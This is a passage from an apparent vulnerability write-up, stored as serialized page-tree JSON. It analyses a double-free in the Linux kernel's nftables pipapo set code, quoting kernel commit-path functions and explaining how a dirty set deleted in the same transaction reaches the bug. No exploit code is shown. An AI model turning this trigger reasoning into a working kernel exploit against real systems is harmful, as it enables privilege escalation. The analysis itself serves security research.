",{"type":22,"tag":101,"props":56000,"children":56001},{"style":166},[56002],{"type":27,"value":8615},{"type":22,"tag":101,"props":56004,"children":56005},{"style":126},[56006],{"type":27,"value":56007},"net",{"type":22,"tag":101,"props":56009,"children":56010},{"style":120},[56011],{"type":27,"value":758},{"type":22,"tag":101,"props":56013,"children":56014},{"style":108},[56015],{"type":27,"value":13660},{"type":22,"tag":101,"props":56017,"children":56018},{"style":108},[56019],{"type":27,"value":25138},{"type":22,"tag":101,"props":56021,"children":56022},{"style":120},[56023],{"type":27,"value":55095},{"type":22,"tag":101,"props":56025,"children":56026},{"style":166},[56027],{"type":27,"value":8615},{"type":22,"tag":101,"props":56029,"children":56030},{"style":126},[56031],{"type":27,"value":55015},{"type":22,"tag":101,"props":56033,"children":56034},{"style":120},[56035],{"type":27,"value":179},{"type":22,"tag":101,"props":56037,"children":56038},{"class":103,"line":157},[56039,56043,56047,56052,56056,56061],{"type":22,"tag":101,"props":56040,"children":56041},{"style":108},[56042],{"type":27,"value":36897},{"type":22,"tag":101,"props":56044,"children":56045},{"style":108},[56046],{"type":27,"value":25138},{"type":22,"tag":101,"props":56048,"children":56049},{"style":120},[56050],{"type":27,"value":56051}," nft_set_elem ",{"type":22,"tag":101,"props":56053,"children":56054},{"style":166},[56055],{"type":27,"value":8615},{"type":22,"tag":101,"props":56057,"children":56058},{"style":126},[56059],{"type":27,"value":56060},"elem",{"type":22,"tag":101,"props":56062,"children":56063},{"style":120},[56064],{"type":27,"value":179},{"type":22,"tag":101,"props":56066,"children":56067},{"class":103,"line":182},[56068,56073,56077,56082,56086],{"type":22,"tag":101,"props":56069,"children":56070},{"style":108},[56071],{"type":27,"value":56072}," struct",{"type":22,"tag":101,"props":56074,"children":56075},{"style":120},[56076],{"type":27,"value":55700},{"type":22,"tag":101,"props":56078,"children":56079},{"style":166},[56080],{"type":27,"value":56081},"**",{"type":22,"tag":101,"props":56083,"children":56084},{"style":126},[56085],{"type":27,"value":55709},{"type":22,"tag":101,"props":56087,"children":56088},{"style":120},[56089],{"type":27,"value":2510},{"type":22,"tag":101,"props":56091,"children":56092},{"class":103,"line":367},[56093],{"type":22,"tag":101,"props":56094,"children":56095},{"style":120},[56096],{"type":27,"value":14886},{"type":22,"tag":101,"props":56098,"children":56099},{"class":103,"line":398},[56100],{"type":22,"tag":101,"props":56101,"children":56102},{"style":120},[56103],{"type":27,"value":14324},{"type":22,"tag":101,"props":56105,"children":56106},{"class":103,"line":428},[56107,56112,56116,56121,56125,56129],{"type":22,"tag":101,"props":56108,"children":56109},{"style":126},[56110],{"type":27,"value":56111}," priv",{"type":22,"tag":101,"props":56113,"children":56114},{"style":120},[56115],{"type":27,"value":17759},{"type":22,"tag":101,"props":56117,"children":56118},{"style":126},[56119],{"type":27,"value":56120},"dirty",{"type":22,"tag":101,"props":56122,"children":56123},{"style":166},[56124],{"type":27,"value":960},{"type":22,"tag":101,"props":56126,"children":56127},{"style":108},[56128],{"type":27,"value":16473},{"type":22,"tag":101,"props":56130,"children":56131},{"style":120},[56132],{"type":27,"value":1520},{"type":22,"tag":101,"props":56134,"children":56135},{"class":103,"line":997},[56136],{"type":22,"tag":101,"props":56137,"children":56138},{"style":120},[56139],{"type":27,"value":14324},{"type":22,"tag":101,"props":56141,"children":56142},{"class":103,"line":1032},[56143],{"type":22,"tag":101,"props":56144,"children":56145},{"style":120},[56146],{"type":27,"value":188},{"type":22,"tag":23,"props":56148,"children":56149},{},[56150],{"type":27,"value":56151},"We also see that when the changes are commited, this flag is then unset.",{"type":22,"tag":91,"props":56153,"children":56155},{"className":20513,"code":56154,"language":7187,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[56156],{"type":22,"tag":30,"props":56157,"children":56158},{"__ignoreMap":7},[56159,56199,56206,56213,56244,56255,56262,56289,56296],{"type":22,"tag":101,"props":56160,"children":56161},{"class":103,"line":104},[56162,56166,56170,56175,56179,56183,56187,56191,56195],{"type":22,"tag":101,"props":56163,"children":56164},{"style":108},[56165],{"type":27,"value":55040},{"type":22,"tag":101,"props":56167,"children":56168},{"style":108},[56169],{"type":27,"value":55045},{"type":22,"tag":101,"props":56171,"children":56172},{"style":926},[56173],{"type":27,"value":56174}," nft_pipapo_commit",{"type":22,"tag":101,"props":56176,"children":56177},{"style":120},[56178],{"type":27,"value":980},{"type":22,"tag":101,"props":56180,"children":56181},{"style":108},[56182],{"type":27,"value":111},{"type":22,"tag":101,"props":56184,"children":56185},{"style":120},[56186],{"type":27,"value":55095},{"type":22,"tag":101,"props":56188,"children":56189},{"style":166},[56190],{"type":27,"value":8615},{"type":22,"tag":101,"props":56192,"children":56193},{"style":126},[56194],{"type":27,"value":55015},{"type":22,"tag":101,"props":56196,"children":56197},{"style":120},[56198],{"type":27,"value":2510},{"type":22,"tag":101,"props":56200,"children":56201},{"class":103,"line":157},[56202],{"type":22,"tag":101,"props":56203,"children":56204},{"style":120},[56205],{"type":27,"value":14886},{"type":22,"tag":101,"props":56207,"children":56208},{"class":103,"line":182},[56209],{"type":22,"tag":101,"props":56210,"children":56211},{"style":120},[56212],{"type":27,"value":14324},{"type":22,"tag":101,"props":56214,"children":56215},{"class":103,"line":367},[56216,56220,56224,56228,56232,56236,56240],{"type":22,"tag":101,"props":56217,"children":56218},{"style":3595},[56219],{"type":27,"value":19786},{"type":22,"tag":101,"props":56221,"children":56222},{"style":120},[56223],{"type":27,"value":3603},{"type":22,"tag":101,"props":56225,"children":56226},{"style":166},[56227],{"type":27,"value":2109},{"type":22,"tag":101,"props":56229,"children":56230},{"style":126},[56231],{"type":27,"value":55571},{"type":22,"tag":101,"props":56233,"children":56234},{"style":120},[56235],{"type":27,"value":17759},{"type":22,"tag":101,"props":56237,"children":56238},{"style":126},[56239],{"type":27,"value":56120},{"type":22,"tag":101,"props":56241,"children":56242},{"style":120},[56243],{"type":27,"value":2510},{"type":22,"tag":101,"props":56245,"children":56246},{"class":103,"line":398},[56247,56251],{"type":22,"tag":101,"props":56248,"children":56249},{"style":3595},[56250],{"type":27,"value":43193},{"type":22,"tag":101,"props":56252,"children":56253},{"style":120},[56254],{"type":27,"value":1520},{"type":22,"tag":101,"props":56256,"children":56257},{"class":103,"line":428},[56258],{"type":22,"tag":101,"props":56259,"children":56260},{"style":120},[56261],{"type":27,"value":14324},{"type":22,"tag":101,"props":56263,"children":56264},{"class":103,"line":997},[56265,56269,56273,56277,56281,56285],{"type":22,"tag":101,"props":56266,"children":56267},{"style":126},[56268],{"type":27,"value":56111},{"type":22,"tag":101,"props":56270,"children":56271},{"style":120},[56272],{"type":27,"value":17759},{"type":22,"tag":101,"props":56274,"children":56275},{"style":126},[56276],{"type":27,"value":56120},{"type":22,"tag":101,"props":56278,"children":56279},{"style":166},[56280],{"type":27,"value":960},{"type":22,"tag":101,"props":56282,"children":56283},{"style":108},[56284],{"type":27,"value":13065},{"type":22,"tag":101,"props":56286,"children":56287},{"style":120},[56288],{"type":27,"value":1520},{"type":22,"tag":101,"props":56290,"children":56291},{"class":103,"line":1032},[56292],{"type":22,"tag":101,"props":56293,"children":56294},{"style":120},[56295],{"type":27,"value":14324},{"type":22,"tag":101,"props":56297,"children":56298},{"class":103,"line":1063},[56299],{"type":22,"tag":101,"props":56300,"children":56301},{"style":120},[56302],{"type":27,"value":188},{"type":22,"tag":23,"props":56304,"children":56305},{},[56306,56308,56313,56315,56320,56322,56327,56329,56334,56336,56342,56344,56350,56352,56357],{"type":27,"value":56307},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":22,"tag":30,"props":56309,"children":56311},{"className":56310},[],[56312],{"type":27,"value":55007},{"type":27,"value":56314}," in the ",{"type":22,"tag":30,"props":56316,"children":56318},{"className":56317},[],[56319],{"type":27,"value":55015},{"type":27,"value":56321}," to make it dirty and then delete the ",{"type":22,"tag":30,"props":56323,"children":56325},{"className":56324},[],[56326],{"type":27,"value":55015},{"type":27,"value":56328},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":22,"tag":30,"props":56330,"children":56332},{"className":56331},[],[56333],{"type":27,"value":55015},{"type":27,"value":56335},"'s ",{"type":22,"tag":30,"props":56337,"children":56339},{"className":56338},[],[56340],{"type":27,"value":56341},"->commit()",{"type":27,"value":56343}," method is executed before its ",{"type":22,"tag":30,"props":56345,"children":56347},{"className":56346},[],[56348],{"type":27,"value":56349},"->destroy()",{"type":27,"value":56351}," method, then the ",{"type":22,"tag":30,"props":56353,"children":56355},{"className":56354},[],[56356],{"type":27,"value":56120},{"type":27,"value":56358}," flag will be unset, and we won't be able to trigger the double-free.",{"type":22,"tag":23,"props":56360,"children":56361},{},[56362],{"type":27,"value":56363},"Let's once again refer to the code and see how these methods are called.",{"type":22,"tag":91,"props":56365,"children":56367},{"className":20513,"code":56366,"language":7187,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[56368],{"type":22,"tag":30,"props":56369,"children":56370},{"__ignoreMap":7},[56371,56433,56440,56447,56455,56468,56503,56537,56579,56601,56613,56626,56633,56681,56722,56762,56775,56782,56789,56796,56803,56828,56835,56848,56855,56871],{"type":22,"tag":101,"props":56372,"children":56373},{"class":103,"line":104},[56374,56378,56382,56387,56391,56395,56399,56403,56407,56411,56415,56420,56424,56429],{"type":22,"tag":101,"props":56375,"children":56376},{"style":108},[56377],{"type":27,"value":55040},{"type":22,"tag":101,"props":56379,"children":56380},{"style":108},[56381],{"type":27,"value":55169},{"type":22,"tag":101,"props":56383,"children":56384},{"style":926},[56385],{"type":27,"value":56386}," nf_tables_commit",{"type":22,"tag":101,"props":56388,"children":56389},{"style":120},[56390],{"type":27,"value":980},{"type":22,"tag":101,"props":56392,"children":56393},{"style":108},[56394],{"type":27,"value":111},{"type":22,"tag":101,"props":56396,"children":56397},{"style":120},[56398],{"type":27,"value":55998},{"type":22,"tag":101,"props":56400,"children":56401},{"style":166},[56402],{"type":27,"value":8615},{"type":22,"tag":101,"props":56404,"children":56405},{"style":126},[56406],{"type":27,"value":56007},{"type":22,"tag":101,"props":56408,"children":56409},{"style":120},[56410],{"type":27,"value":758},{"type":22,"tag":101,"props":56412,"children":56413},{"style":108},[56414],{"type":27,"value":111},{"type":22,"tag":101,"props":56416,"children":56417},{"style":120},[56418],{"type":27,"value":56419}," sk_buff ",{"type":22,"tag":101,"props":56421,"children":56422},{"style":166},[56423],{"type":27,"value":8615},{"type":22,"tag":101,"props":56425,"children":56426},{"style":126},[56427],{"type":27,"value":56428},"skb",{"type":22,"tag":101,"props":56430,"children":56431},{"style":120},[56432],{"type":27,"value":2510},{"type":22,"tag":101,"props":56434,"children":56435},{"class":103,"line":157},[56436],{"type":22,"tag":101,"props":56437,"children":56438},{"style":120},[56439],{"type":27,"value":14886},{"type":22,"tag":101,"props":56441,"children":56442},{"class":103,"line":182},[56443],{"type":22,"tag":101,"props":56444,"children":56445},{"style":120},[56446],{"type":27,"value":14324},{"type":22,"tag":101,"props":56448,"children":56449},{"class":103,"line":367},[56450],{"type":22,"tag":101,"props":56451,"children":56452},{"style":120},[56453],{"type":27,"value":56454}," case NFT_MSG_DELSET:\n",{"type":22,"tag":101,"props":56456,"children":56457},{"class":103,"line":398},[56458,56463],{"type":22,"tag":101,"props":56459,"children":56460},{"style":120},[56461],{"type":27,"value":56462}," case NFT_MSG_DESTROYSET:",{"type":22,"tag":101,"props":56464,"children":56465},{"style":2215},[56466],{"type":27,"value":56467}," // [1]\n",{"type":22,"tag":101,"props":56469,"children":56470},{"class":103,"line":428},[56471,56476,56481,56486,56490,56494,56498],{"type":22,"tag":101,"props":56472,"children":56473},{"style":926},[56474],{"type":27,"value":56475}," nft_trans_set",{"type":22,"tag":101,"props":56477,"children":56478},{"style":120},[56479],{"type":27,"value":56480},"(trans)->",{"type":22,"tag":101,"props":56482,"children":56483},{"style":126},[56484],{"type":27,"value":56485},"dead",{"type":22,"tag":101,"props":56487,"children":56488},{"style":166},[56489],{"type":27,"value":960},{"type":22,"tag":101,"props":56491,"children":56492},{"style":1544},[56493],{"type":27,"value":3648},{"type":22,"tag":101,"props":56495,"children":56496},{"style":120},[56497],{"type":27,"value":53070},{"type":22,"tag":101,"props":56499,"children":56500},{"style":2215},[56501],{"type":27,"value":56502}," // [2]\n",{"type":22,"tag":101,"props":56504,"children":56505},{"class":103,"line":997},[56506,56511,56515,56519,56524,56528,56533],{"type":22,"tag":101,"props":56507,"children":56508},{"style":926},[56509],{"type":27,"value":56510}," list_del_rcu",{"type":22,"tag":101,"props":56512,"children":56513},{"style":120},[56514],{"type":27,"value":980},{"type":22,"tag":101,"props":56516,"children":56517},{"style":166},[56518],{"type":27,"value":985},{"type":22,"tag":101,"props":56520,"children":56521},{"style":926},[56522],{"type":27,"value":56523},"nft_trans_set",{"type":22,"tag":101,"props":56525,"children":56526},{"style":120},[56527],{"type":27,"value":56480},{"type":22,"tag":101,"props":56529,"children":56530},{"style":126},[56531],{"type":27,"value":56532},"list",{"type":22,"tag":101,"props":56534,"children":56535},{"style":120},[56536],{"type":27,"value":994},{"type":22,"tag":101,"props":56538,"children":56539},{"class":103,"line":1032},[56540,56545,56549,56553,56558,56562,56566,56570,56574],{"type":22,"tag":101,"props":56541,"children":56542},{"style":926},[56543],{"type":27,"value":56544}," nf_tables_set_notify",{"type":22,"tag":101,"props":56546,"children":56547},{"style":120},[56548],{"type":27,"value":980},{"type":22,"tag":101,"props":56550,"children":56551},{"style":166},[56552],{"type":27,"value":985},{"type":22,"tag":101,"props":56554,"children":56555},{"style":126},[56556],{"type":27,"value":56557},"trans",{"type":22,"tag":101,"props":56559,"children":56560},{"style":120},[56561],{"type":27,"value":17759},{"type":22,"tag":101,"props":56563,"children":56564},{"style":126},[56565],{"type":27,"value":24271},{"type":22,"tag":101,"props":56567,"children":56568},{"style":120},[56569],{"type":27,"value":758},{"type":22,"tag":101,"props":56571,"children":56572},{"style":926},[56573],{"type":27,"value":56523},{"type":22,"tag":101,"props":56575,"children":56576},{"style":120},[56577],{"type":27,"value":56578},"(trans),\n",{"type":22,"tag":101,"props":56580,"children":56581},{"class":103,"line":1063},[56582,56587,56591,56596],{"type":22,"tag":101,"props":56583,"children":56584},{"style":126},[56585],{"type":27,"value":56586}," trans",{"type":22,"tag":101,"props":56588,"children":56589},{"style":120},[56590],{"type":27,"value":17759},{"type":22,"tag":101,"props":56592,"children":56593},{"style":126},[56594],{"type":27,"value":56595},"msg_type",{"type":22,"tag":101,"props":56597,"children":56598},{"style":120},[56599],{"type":27,"value":56600},", GFP_KERNEL);\n",{"type":22,"tag":101,"props":56602,"children":56603},{"class":103,"line":1071},[56604,56609],{"type":22,"tag":101,"props":56605,"children":56606},{"style":3595},[56607],{"type":27,"value":56608}," break",{"type":22,"tag":101,"props":56610,"children":56611},{"style":120},[56612],{"type":27,"value":1520},{"type":22,"tag":101,"props":56614,"children":56615},{"class":103,"line":1110},[56616,56621],{"type":22,"tag":101,"props":56617,"children":56618},{"style":120},[56619],{"type":27,"value":56620}," case NFT_MSG_NEWSETELEM:",{"type":22,"tag":101,"props":56622,"children":56623},{"style":2215},[56624],{"type":27,"value":56625}," // [3]\n",{"type":22,"tag":101,"props":56627,"children":56628},{"class":103,"line":1118},[56629],{"type":22,"tag":101,"props":56630,"children":56631},{"style":120},[56632],{"type":27,"value":14324},{"type":22,"tag":101,"props":56634,"children":56635},{"class":103,"line":1158},[56636,56641,56645,56650,56654,56658,56662,56667,56671,56676],{"type":22,"tag":101,"props":56637,"children":56638},{"style":3595},[56639],{"type":27,"value":56640}," if",{"type":22,"tag":101,"props":56642,"children":56643},{"style":120},[56644],{"type":27,"value":3603},{"type":22,"tag":101,"props":56646,"children":56647},{"style":126},[56648],{"type":27,"value":56649},"te",{"type":22,"tag":101,"props":56651,"children":56652},{"style":120},[56653],{"type":27,"value":17759},{"type":22,"tag":101,"props":56655,"children":56656},{"style":126},[56657],{"type":27,"value":55015},{"type":22,"tag":101,"props":56659,"children":56660},{"style":120},[56661],{"type":27,"value":17759},{"type":22,"tag":101,"props":56663,"children":56664},{"style":126},[56665],{"type":27,"value":56666},"ops",{"type":22,"tag":101,"props":56668,"children":56669},{"style":120},[56670],{"type":27,"value":17759},{"type":22,"tag":101,"props":56672,"children":56673},{"style":126},[56674],{"type":27,"value":56675},"commit",{"type":22,"tag":101,"props":56677,"children":56678},{"style":166},[56679],{"type":27,"value":56680}," &&\n",{"type":22,"tag":101,"props":56682,"children":56683},{"class":103,"line":1166},[56684,56689,56693,56697,56701,56705,56709,56713,56718],{"type":22,"tag":101,"props":56685,"children":56686},{"style":926},[56687],{"type":27,"value":56688}," list_empty",{"type":22,"tag":101,"props":56690,"children":56691},{"style":120},[56692],{"type":27,"value":980},{"type":22,"tag":101,"props":56694,"children":56695},{"style":166},[56696],{"type":27,"value":985},{"type":22,"tag":101,"props":56698,"children":56699},{"style":126},[56700],{"type":27,"value":56649},{"type":22,"tag":101,"props":56702,"children":56703},{"style":120},[56704],{"type":27,"value":17759},{"type":22,"tag":101,"props":56706,"children":56707},{"style":126},[56708],{"type":27,"value":55015},{"type":22,"tag":101,"props":56710,"children":56711},{"style":120},[56712],{"type":27,"value":17759},{"type":22,"tag":101,"props":56714,"children":56715},{"style":126},[56716],{"type":27,"value":56717},"pending_update",{"type":22,"tag":101,"props":56719,"children":56720},{"style":120},[56721],{"type":27,"value":39190},{"type":22,"tag":101,"props":56723,"children":56724},{"class":103,"line":1215},[56725,56730,56734,56738,56742,56746,56750,56754,56758],{"type":22,"tag":101,"props":56726,"children":56727},{"style":926},[56728],{"type":27,"value":56729}," list_add_tail",{"type":22,"tag":101,"props":56731,"children":56732},{"style":120},[56733],{"type":27,"value":980},{"type":22,"tag":101,"props":56735,"children":56736},{"style":166},[56737],{"type":27,"value":985},{"type":22,"tag":101,"props":56739,"children":56740},{"style":126},[56741],{"type":27,"value":56649},{"type":22,"tag":101,"props":56743,"children":56744},{"style":120},[56745],{"type":27,"value":17759},{"type":22,"tag":101,"props":56747,"children":56748},{"style":126},[56749],{"type":27,"value":55015},{"type":22,"tag":101,"props":56751,"children":56752},{"style":120},[56753],{"type":27,"value":17759},{"type":22,"tag":101,"props":56755,"children":56756},{"style":126},[56757],{"type":27,"value":56717},{"type":22,"tag":101,"props":56759,"children":56760},{"style":120},[56761],{"type":27,"value":179},{"type":22,"tag":101,"props":56763,"children":56764},{"class":103,"line":2425},[56765,56770],{"type":22,"tag":101,"props":56766,"children":56767},{"style":166},[56768],{"type":27,"value":56769}," &",{"type":22,"tag":101,"props":56771,"children":56772},{"style":120},[56773],{"type":27,"value":56774},"set_update_list);\n",{"type":22,"tag":101,"props":56776,"children":56777},{"class":103,"line":5417},[56778],{"type":22,"tag":101,"props":56779,"children":56780},{"style":120},[56781],{"type":27,"value":38744},{"type":22,"tag":101,"props":56783,"children":56784},{"class":103,"line":7714},[56785],{"type":22,"tag":101,"props":56786,"children":56787},{"style":120},[56788],{"type":27,"value":14324},{"type":22,"tag":101,"props":56790,"children":56791},{"class":103,"line":7723},[56792],{"type":22,"tag":101,"props":56793,"children":56794},{"style":120},[56795],{"type":27,"value":13601},{"type":22,"tag":101,"props":56797,"children":56798},{"class":103,"line":7791},[56799],{"type":22,"tag":101,"props":56800,"children":56801},{"emptyLinePlaceholder":15},[56802],{"type":27,"value":1581},{"type":22,"tag":101,"props":56804,"children":56805},{"class":103,"line":7799},[56806,56811,56815,56819,56824],{"type":22,"tag":101,"props":56807,"children":56808},{"style":926},[56809],{"type":27,"value":56810}," nft_set_commit_update",{"type":22,"tag":101,"props":56812,"children":56813},{"style":120},[56814],{"type":27,"value":980},{"type":22,"tag":101,"props":56816,"children":56817},{"style":166},[56818],{"type":27,"value":985},{"type":22,"tag":101,"props":56820,"children":56821},{"style":126},[56822],{"type":27,"value":56823},"set_update_list",{"type":22,"tag":101,"props":56825,"children":56826},{"style":120},[56827],{"type":27,"value":994},{"type":22,"tag":101,"props":56829,"children":56830},{"class":103,"line":7829},[56831],{"type":22,"tag":101,"props":56832,"children":56833},{"style":120},[56834],{"type":27,"value":14324},{"type":22,"tag":101,"props":56836,"children":56837},{"class":103,"line":7837},[56838,56843],{"type":22,"tag":101,"props":56839,"children":56840},{"style":926},[56841],{"type":27,"value":56842}," nf_tables_commit_release",{"type":22,"tag":101,"props":56844,"children":56845},{"style":120},[56846],{"type":27,"value":56847},"(net);\n",{"type":22,"tag":101,"props":56849,"children":56850},{"class":103,"line":7868},[56851],{"type":22,"tag":101,"props":56852,"children":56853},{"emptyLinePlaceholder":15},[56854],{"type":27,"value":1581},{"type":22,"tag":101,"props":56856,"children":56857},{"class":103,"line":7876},[56858,56863,56867],{"type":22,"tag":101,"props":56859,"children":56860},{"style":3595},[56861],{"type":27,"value":56862}," return",{"type":22,"tag":101,"props":56864,"children":56865},{"style":1544},[56866],{"type":27,"value":1547},{"type":22,"tag":101,"props":56868,"children":56869},{"style":120},[56870],{"type":27,"value":1520},{"type":22,"tag":101,"props":56872,"children":56873},{"class":103,"line":7936},[56874],{"type":22,"tag":101,"props":56875,"children":56876},{"style":120},[56877],{"type":27,"value":188},{"type":22,"tag":23,"props":56879,"children":56880},{},[56881,56882,56888,56890,56895],{"type":27,"value":2007},{"type":22,"tag":30,"props":56883,"children":56885},{"className":56884},[],[56886],{"type":27,"value":56887},"nft_set_commit_update()",{"type":27,"value":56889}," function in the code above will call the ",{"type":22,"tag":30,"props":56891,"children":56893},{"className":56892},[],[56894],{"type":27,"value":56341},{"type":27,"value":56896}," method for any objects that were marked as pending an update.",{"type":22,"tag":91,"props":56898,"children":56900},{"className":20513,"code":56899,"language":7187,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[56901],{"type":22,"tag":30,"props":56902,"children":56903},{"__ignoreMap":7},[56904,56944,56951,56980,56987,57000,57032,57039,57100,57111,57118,57152,57159],{"type":22,"tag":101,"props":56905,"children":56906},{"class":103,"line":104},[56907,56911,56915,56919,56923,56927,56932,56936,56940],{"type":22,"tag":101,"props":56908,"children":56909},{"style":108},[56910],{"type":27,"value":55040},{"type":22,"tag":101,"props":56912,"children":56913},{"style":108},[56914],{"type":27,"value":55045},{"type":22,"tag":101,"props":56916,"children":56917},{"style":926},[56918],{"type":27,"value":56810},{"type":22,"tag":101,"props":56920,"children":56921},{"style":120},[56922],{"type":27,"value":980},{"type":22,"tag":101,"props":56924,"children":56925},{"style":108},[56926],{"type":27,"value":111},{"type":22,"tag":101,"props":56928,"children":56929},{"style":120},[56930],{"type":27,"value":56931}," list_head ",{"type":22,"tag":101,"props":56933,"children":56934},{"style":166},[56935],{"type":27,"value":8615},{"type":22,"tag":101,"props":56937,"children":56938},{"style":126},[56939],{"type":27,"value":56823},{"type":22,"tag":101,"props":56941,"children":56942},{"style":120},[56943],{"type":27,"value":2510},{"type":22,"tag":101,"props":56945,"children":56946},{"class":103,"line":157},[56947],{"type":22,"tag":101,"props":56948,"children":56949},{"style":120},[56950],{"type":27,"value":14886},{"type":22,"tag":101,"props":56952,"children":56953},{"class":103,"line":182},[56954,56958,56962,56966,56971,56975],{"type":22,"tag":101,"props":56955,"children":56956},{"style":108},[56957],{"type":27,"value":25138},{"type":22,"tag":101,"props":56959,"children":56960},{"style":120},[56961],{"type":27,"value":55095},{"type":22,"tag":101,"props":56963,"children":56964},{"style":166},[56965],{"type":27,"value":8615},{"type":22,"tag":101,"props":56967,"children":56968},{"style":120},[56969],{"type":27,"value":56970},"set, ",{"type":22,"tag":101,"props":56972,"children":56973},{"style":166},[56974],{"type":27,"value":8615},{"type":22,"tag":101,"props":56976,"children":56977},{"style":120},[56978],{"type":27,"value":56979},"next;\n",{"type":22,"tag":101,"props":56981,"children":56982},{"class":103,"line":367},[56983],{"type":22,"tag":101,"props":56984,"children":56985},{"emptyLinePlaceholder":15},[56986],{"type":27,"value":1581},{"type":22,"tag":101,"props":56988,"children":56989},{"class":103,"line":398},[56990,56995],{"type":22,"tag":101,"props":56991,"children":56992},{"style":926},[56993],{"type":27,"value":56994}," list_for_each_entry_safe",{"type":22,"tag":101,"props":56996,"children":56997},{"style":120},[56998],{"type":27,"value":56999},"(set, next, set_update_list, pending_update) {\n",{"type":22,"tag":101,"props":57001,"children":57002},{"class":103,"line":428},[57003,57008,57012,57016,57020,57024,57028],{"type":22,"tag":101,"props":57004,"children":57005},{"style":926},[57006],{"type":27,"value":57007}," list_del_init",{"type":22,"tag":101,"props":57009,"children":57010},{"style":120},[57011],{"type":27,"value":980},{"type":22,"tag":101,"props":57013,"children":57014},{"style":166},[57015],{"type":27,"value":985},{"type":22,"tag":101,"props":57017,"children":57018},{"style":126},[57019],{"type":27,"value":55015},{"type":22,"tag":101,"props":57021,"children":57022},{"style":120},[57023],{"type":27,"value":17759},{"type":22,"tag":101,"props":57025,"children":57026},{"style":126},[57027],{"type":27,"value":56717},{"type":22,"tag":101,"props":57029,"children":57030},{"style":120},[57031],{"type":27,"value":994},{"type":22,"tag":101,"props":57033,"children":57034},{"class":103,"line":997},[57035],{"type":22,"tag":101,"props":57036,"children":57037},{"emptyLinePlaceholder":15},[57038],{"type":27,"value":1581},{"type":22,"tag":101,"props":57040,"children":57041},{"class":103,"line":1032},[57042,57046,57050,57054,57058,57062,57066,57070,57074,57078,57083,57087,57091,57095],{"type":22,"tag":101,"props":57043,"children":57044},{"style":3595},[57045],{"type":27,"value":35390},{"type":22,"tag":101,"props":57047,"children":57048},{"style":120},[57049],{"type":27,"value":3603},{"type":22,"tag":101,"props":57051,"children":57052},{"style":166},[57053],{"type":27,"value":2109},{"type":22,"tag":101,"props":57055,"children":57056},{"style":126},[57057],{"type":27,"value":55015},{"type":22,"tag":101,"props":57059,"children":57060},{"style":120},[57061],{"type":27,"value":17759},{"type":22,"tag":101,"props":57063,"children":57064},{"style":126},[57065],{"type":27,"value":56666},{"type":22,"tag":101,"props":57067,"children":57068},{"style":120},[57069],{"type":27,"value":17759},{"type":22,"tag":101,"props":57071,"children":57072},{"style":126},[57073],{"type":27,"value":56675},{"type":22,"tag":101,"props":57075,"children":57076},{"style":166},[57077],{"type":27,"value":27695},{"type":22,"tag":101,"props":57079,"children":57080},{"style":126},[57081],{"type":27,"value":57082}," set",{"type":22,"tag":101,"props":57084,"children":57085},{"style":120},[57086],{"type":27,"value":17759},{"type":22,"tag":101,"props":57088,"children":57089},{"style":126},[57090],{"type":27,"value":56485},{"type":22,"tag":101,"props":57092,"children":57093},{"style":120},[57094],{"type":27,"value":2261},{"type":22,"tag":101,"props":57096,"children":57097},{"style":2215},[57098],{"type":27,"value":57099}," // [4]\n",{"type":22,"tag":101,"props":57101,"children":57102},{"class":103,"line":1063},[57103,57107],{"type":22,"tag":101,"props":57104,"children":57105},{"style":3595},[57106],{"type":27,"value":55487},{"type":22,"tag":101,"props":57108,"children":57109},{"style":120},[57110],{"type":27,"value":1520},{"type":22,"tag":101,"props":57112,"children":57113},{"class":103,"line":1071},[57114],{"type":22,"tag":101,"props":57115,"children":57116},{"emptyLinePlaceholder":15},[57117],{"type":27,"value":1581},{"type":22,"tag":101,"props":57119,"children":57120},{"class":103,"line":1110},[57121,57126,57130,57134,57138,57142,57147],{"type":22,"tag":101,"props":57122,"children":57123},{"style":126},[57124],{"type":27,"value":57125}," set",{"type":22,"tag":101,"props":57127,"children":57128},{"style":120},[57129],{"type":27,"value":17759},{"type":22,"tag":101,"props":57131,"children":57132},{"style":126},[57133],{"type":27,"value":56666},{"type":22,"tag":101,"props":57135,"children":57136},{"style":120},[57137],{"type":27,"value":17759},{"type":22,"tag":101,"props":57139,"children":57140},{"style":926},[57141],{"type":27,"value":56675},{"type":22,"tag":101,"props":57143,"children":57144},{"style":120},[57145],{"type":27,"value":57146},"(set);",{"type":22,"tag":101,"props":57148,"children":57149},{"style":2215},[57150],{"type":27,"value":57151}," // [5]\n",{"type":22,"tag":101,"props":57153,"children":57154},{"class":103,"line":1118},[57155],{"type":22,"tag":101,"props":57156,"children":57157},{"style":120},[57158],{"type":27,"value":13601},{"type":22,"tag":101,"props":57160,"children":57161},{"class":103,"line":1158},[57162],{"type":22,"tag":101,"props":57163,"children":57164},{"style":120},[57165],{"type":27,"value":188},{"type":22,"tag":23,"props":57167,"children":57168},{},[57169,57171,57177,57179,57184,57185,57190],{"type":27,"value":57170},"Later on, the ",{"type":22,"tag":30,"props":57172,"children":57174},{"className":57173},[],[57175],{"type":27,"value":57176},"nf_tables_commit_release()",{"type":27,"value":57178}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":22,"tag":30,"props":57180,"children":57182},{"className":57181},[],[57183],{"type":27,"value":55015},{"type":27,"value":56335},{"type":22,"tag":30,"props":57186,"children":57188},{"className":57187},[],[57189],{"type":27,"value":56349},{"type":27,"value":57191}," 